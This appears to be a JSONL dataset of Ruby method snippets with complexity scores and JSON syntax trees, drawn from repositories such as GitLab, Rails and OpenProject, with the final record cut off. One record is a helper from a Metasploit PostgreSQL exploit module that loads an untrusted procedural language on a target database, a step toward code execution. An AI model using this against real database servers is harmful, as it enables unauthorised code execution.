{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/category.rb","start_line":75,"raw_source":"def has_d_editor?\n        page.has_selector?(D_EDITOR_SELECTOR)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_d_editor?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_selector?\",{\"type\":\"const\",\"children\":[null,\"D_EDITOR_SELECTOR\"]}]}]}","id":"f9b94c36-f5f0-4634-a9fc-a74697a7aeaf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/discussion.rb","start_line":177,"raw_source":"def reply_attributes\n    first_note.slice(:type, :noteable_type, :noteable_id, :commit_id, :discussion_id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reply_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_note\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"noteable_type\"]},{\"type\":\"sym\",\"children\":[\"noteable_id\"]},{\"type\":\"sym\",\"children\":[\"commit_id\"]},{\"type\":\"sym\",\"children\":[\"discussion_id\"]}]}]}","id":"845e5406-26e0-4d0e-8e55-2800d0ba0ca9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/time_frame.rb","start_line":11,"raw_source":"def weekly_time_range\n        { start_date: 7.days.ago.to_date, end_date: Date.current }\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"weekly_time_range\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7]},\"days\"]},\"ago\"]},\"to_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]}]}]}]}","id":"12c8be20-8c2f-441d-9d39-9c3450c973a1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/labels/available_labels_service.rb","start_line":43,"raw_source":"def filter_locked_label_ids(ids)\n      available_labels.with_lock_on_merge.id_in(ids).pluck(:id) # rubocop:disable CodeReuse/ActiveRecord\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_locked_label_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_labels\"]},\"with_lock_on_merge\"]},\"id_in\",{\"type\":\"lvar\",\"children\":[\"ids\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"c46d9d04-799d-499e-bd30-19659e1d7085"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/base.rb","start_line":181,"raw_source":"def attributes(*names)\n          names.each { |name| attribute(name) }\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"names\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"attribute\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"4a34f29b-bbea-40a9-a209-d866de88c6c7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/provider_tag_mapping_spec.rb","start_line":31,"raw_source":"def labels(label_or_array)\n    (label_or_array.kind_of?(Hash) ? [label_or_array] : label_or_array).map do |key_value_label|\n      label(key_value_label)\n    end.flatten\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"labels\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label_or_array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_or_array\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_or_array\"]}]},{\"type\":\"lvar\",\"children\":[\"label_or_array\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_value_label\"]}]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"lvar\",\"children\":[\"key_value_label\"]}]}]},\"flatten\"]}]}","id":"8b7d582b-1767-46cb-ac07-4930f600b0fa"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/services/storages/nextcloud_managed_folder_create_service_spec.rb","start_line":40,"raw_source":"def initialize(project_storage)\n      super\n      @project = FakeProject.new(-273, project_storage.project.name)\n    end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_storage\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeProject\"]},\"new\",{\"type\":\"int\",\"children\":[-273]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_storage\"]},\"project\"]},\"name\"]}]}]}]}]}","id":"105afe92-430e-45a8-8e43-a6429f195632"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/postgres/postgres_createlang.rb","start_line":176,"raw_source":"def load_procedural_language(language, extension)\n    query = \"CREATE #{extension} pl#{language}u\"\n    load_language = postgres_query(query)\n    return :loaded unless load_language.keys[0] == :sql_error\n\n    match_exists = load_language[:sql_error].match(/(?:(extension|language) \"pl#{language}u\" already exists)/m)\n    return :exists if match_exists\n\n    match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m)\n    return :not_exists if match_error\n\n    # Default to something sane\n    :not_exists\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_procedural_language\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"language\"]},{\"type\":\"arg\",\"children\":[\"extension\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extension\"]}]},{\"type\":\"str\",\"children\":[\" pl\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"language\"]}]},{\"type\":\"str\",\"children\":[\"u\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"load_language\",{\"type\":\"send\",\"children\":[null,\"postgres_query\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"load_language\"]},\"keys\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"sym\",\"children\":[\"sql_error\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"loaded\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"load_language\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql_error\"]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?:(extension|language) \\\"pl\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"language\"]}]},{\"type\":\"str\",\"children\":[\"u\\\" already exists)\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_exists\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"exists\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"match_error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"load_language\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql_error\"]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?:[Cc]ould not (?:open extension control|access) file|unsupported language)\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_error\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"not_exists\"]}]},null]},{\"type\":\"sym\",\"children\":[\"not_exists\"]}]}]}","id":"68ca4795-d0b8-4371-b184-14bebaf40e04"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/tunes/tunes_stubbing.rb","start_line":553,"raw_source":"def itc_stub_update_price_tier\n      stub_request(:post, \"https://appstoreconnect.apple.com/WebObjects/iTunesConnect.woa/ra/apps/898536088/pricing/intervals\").\n        with(body: JSON.parse(itc_read_fixture_file(File.join('update_price_tier', 'update_price_tier_request.json'))).to_json).\n        to_return(status: 200, body: itc_read_fixture_file(File.join('app_pricing_intervals.json')),\n                  headers: { 'Content-Type' => 'application/json' })\n    end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"itc_stub_update_price_tier\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://appstoreconnect.apple.com/WebObjects/iTunesConnect.woa/ra/apps/898536088/pricing/intervals\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"itc_read_fixture_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"update_price_tier\"]},{\"type\":\"str\",\"children\":[\"update_price_tier_request.json\"]}]}]}]},\"to_json\"]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"itc_read_fixture_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"app_pricing_intervals.json\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}","id":"d5b04724-9670-4089-a22e-cb66f70255d8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_field.rb","start_line":198,"raw_source":"def possible_values=(arg)\n    values = possible_values_from_arg arg\n\n    max_position = custom_options.size\n    values.zip(custom_options).each_with_index do |(value, custom_option), i|\n      if custom_option\n        custom_option.value = value\n      else\n        custom_options.build position: i + 1, value:\n      end\n\n      max_position = i + 1\n    end\n\n    custom_options.where(\"position > ?\", max_position).destroy_all\n  end","complexity_score":26.68,"ast_json":"{\"type\":\"def\",\"children\":[\"possible_values=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[null,\"possible_values_from_arg\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_position\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_options\"]},\"size\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"zip\",{\"type\":\"send\",\"children\":[null,\"custom_options\"]}]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"custom_option\"]}]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_option\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_option\"]},\"value=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_options\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_position\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_options\"]},\"where\",{\"type\":\"str\",\"children\":[\"position > ?\"]},{\"type\":\"lvar\",\"children\":[\"max_position\"]}]},\"destroy_all\"]}]}]}","id":"30736195-494b-4c29-848b-3165b3af3505"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/group_member_presenter.rb","start_line":6,"raw_source":"def last_owner?\n    member.last_owner_of_the_group?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"last_owner?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"last_owner_of_the_group?\"]}]}","id":"d63175fb-2bcf-473c-ba56-6275e99a9976"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/type/type_map_test.rb","start_line":78,"raw_source":"def test_aliasing_types\n        string = +\"\"\n        mapping = klass.new\n\n        mapping.register_type(/string/i, string)\n        mapping.alias_type(/varchar/i, \"string\")\n\n        assert_equal mapping.lookup(\"varchar\"), string\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_aliasing_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"string\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mapping\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"register_type\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"string\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"alias_type\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"varchar\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"lookup\",{\"type\":\"str\",\"children\":[\"varchar\"]}]},{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}]}","id":"ca3bf58f-3986-43a3-945a-c2482cef8a01"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/spec/android_package_name_guesser_spec.rb","start_line":52,"raw_source":"def allow_target_configuration_file(file_name, package_name_key)\n      allow_any_instance_of(FastlaneCore::Configuration).to receive(:load_configuration_file).with(file_name, any_args) do |configuration, config_file_name|\n        configuration[package_name_key] = \"#{config_file_name}.bundle.id\"\n      end\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_target_configuration_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"arg\",\"children\":[\"package_name_key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_any_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Configuration\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"load_configuration_file\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"send\",\"children\":[null,\"any_args\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"configuration\"]},{\"type\":\"arg\",\"children\":[\"config_file_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configuration\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"package_name_key\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_file_name\"]}]},{\"type\":\"str\",\"children\":[\".bundle.id\"]}]}]}]}]}","id":"a3a95954-881e-4afb-ae61-02ff04e864fa"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/models/access_token_mixin.rb","start_line":277,"raw_source":"def authorized_tokens_for(application_id, resource_owner)\n        by_resource_owner(resource_owner).where(\n          application_id: application_id,\n          revoked_at: nil,\n        )\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized_tokens_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"application_id\"]},{\"type\":\"arg\",\"children\":[\"resource_owner\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"by_resource_owner\",{\"type\":\"lvar\",\"children\":[\"resource_owner\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application_id\"]},{\"type\":\"lvar\",\"children\":[\"application_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"revoked_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"308e8e78-0b64-4d64-a0d5-9d2676ce8d40"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/abstract_unit.rb","start_line":78,"raw_source":"def config\n    @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config).tap do |config|\n      # VIEW TODO: View tests should not require a controller\n      public_dir = File.expand_path(\"fixtures/public\", __dir__)\n      config.assets_dir = public_dir\n      config.javascripts_dir = \"#{public_dir}/javascripts\"\n      config.stylesheets_dir = \"#{public_dir}/stylesheets\"\n      config.assets          = ActiveSupport::InheritableOptions.new(prefix: \"assets\")\n      config\n    end\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"InheritableOptions\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"config\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"public_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"fixtures/public\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"assets_dir=\",{\"type\":\"lvar\",\"children\":[\"public_dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"javascripts_dir=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"public_dir\"]}]},{\"type\":\"str\",\"children\":[\"/javascripts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"stylesheets_dir=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"public_dir\"]}]},{\"type\":\"str\",\"children\":[\"/stylesheets\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"assets=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"InheritableOptions\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"str\",\"children\":[\"assets\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}]}","id":"eafe5891-80b5-49b6-8fa2-ce7f78c676eb"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/call_index.rb","start_line":117,"raw_source":"def test_find_params_and_method_in_chain\n    assert_found 0, :target => :params, :method => :z\n    assert_found 1, :target => :params, :method => :z, :chained => true\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_params_and_method_in_chain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_found\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"z\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_found\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"z\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chained\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"4d34eb2a-3a83-42de-933c-6379c4151834"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/watcher_filter.rb","start_line":132,"raw_source":"def view_watcher_allowed_scoped\n    Project\n      .allowed_to(User.current, :view_work_package_watchers)\n      .select(\"#{Project.table_name}.id\")\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"view_watcher_allowed_scoped\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},{\"type\":\"sym\",\"children\":[\"view_work_package_watchers\"]}]},\"select\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id\"]}]}]}]}","id":"a5e4b2cf-cb1e-4909-8eba-64ece2db902b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/argument_alignment.rb","start_line":111,"raw_source":"def message(_node)\n          fixed_indentation? ? FIXED_INDENT_MSG : ALIGN_PARAMS_MSG\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixed_indentation?\"]},{\"type\":\"const\",\"children\":[null,\"FIXED_INDENT_MSG\"]},{\"type\":\"const\",\"children\":[null,\"ALIGN_PARAMS_MSG\"]}]}]}","id":"3150ec9c-03a9-49cd-ae5b-519fa6ca1589"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache/strategy/local_cache.rb","start_line":82,"raw_source":"def local_cache\n          LocalCacheRegistry.cache_for(local_cache_key)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"local_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LocalCacheRegistry\"]},\"cache_for\",{\"type\":\"send\",\"children\":[null,\"local_cache_key\"]}]}]}","id":"e710fdc6-dc82-4f86-b092-ea16f10c0f9f"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/server.rb","start_line":638,"raw_source":"def on_writable\n            super\n            close if @close_after_write_complete\n          end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_writable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@close_after_write_complete\"]},{\"type\":\"send\",\"children\":[null,\"close\"]},null]}]}]}","id":"a538213a-3b22-4126-a6b5-84d1207345f6"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/index.rb","start_line":89,"raw_source":"def expect_no_create_new_button\n      expect(page).not_to have_test_selector(\"add-meeting-button\")\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_create_new_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"have_test_selector\",{\"type\":\"str\",\"children\":[\"add-meeting-button\"]}]}]}]}","id":"e1400d3b-1f2a-4780-af0c-67ed223e24be"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/config.rb","start_line":155,"raw_source":"def active_directory\n          options['active_directory']\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"active_directory\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"active_directory\"]}]}]}","id":"d09f90b6-f6e1-41ea-9922-4e574d1c1082"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/enforces_admin_authentication.rb","start_line":37,"raw_source":"def attempt_admin_mode\n    return render_404 if in_admin_mode? || !current_user&.can_access_admin_area?\n\n    current_user_mode.request_admin_mode!\n    store_location_for(:redirect, request.fullpath) if storable_location?\n    redirect_to(new_admin_session_path, notice: _('Re-authentication required'))\n  end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"attempt_admin_mode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_admin_mode?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can_access_admin_area?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_404\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user_mode\"]},\"request_admin_mode!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storable_location?\"]},{\"type\":\"send\",\"children\":[null,\"store_location_for\",{\"type\":\"sym\",\"children\":[\"redirect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"fullpath\"]}]},null]},{\